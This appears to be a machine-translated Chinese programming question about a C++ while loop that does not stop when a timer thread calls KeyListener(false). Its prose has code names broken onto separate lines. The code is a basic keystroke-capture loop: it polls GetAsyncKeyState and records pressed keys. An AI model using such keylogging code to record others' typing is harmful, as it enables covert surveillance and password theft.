我无法停止KeyListener
函数中的 while 循环。该函数每 10 秒Timer
声明Active
一次false
。但是函数while
中的循环仍然KeyListener
继续运行。
我不知道为什么循环继续运行;每个循环它都应该测试是否Active
为真,如果不是(因为 10 秒后它应该被关闭),则循环不应该运行。但确实如此。
void KeyListener(bool Active)
{
cout << Active << endl; //debug
while (Active==true){
cout << "loop still running." << endl; //debug
Sleep(100);
for (int i=8;i<=190;i++){
if (GetAsyncKeyState(i) == -32767){
KeyWrite(i); // (turns the numbers into characters)
}
}
}
}
void Timer(void* pParams){
while (true){
Sleep(10000);
KeyListener(false); // Active = false
cout << "KeyListener(false)" << endl; // debug
}
}
int main()
{
_beginthread( Timer, 0, NULL );
KeyListener(true);
return 0;
}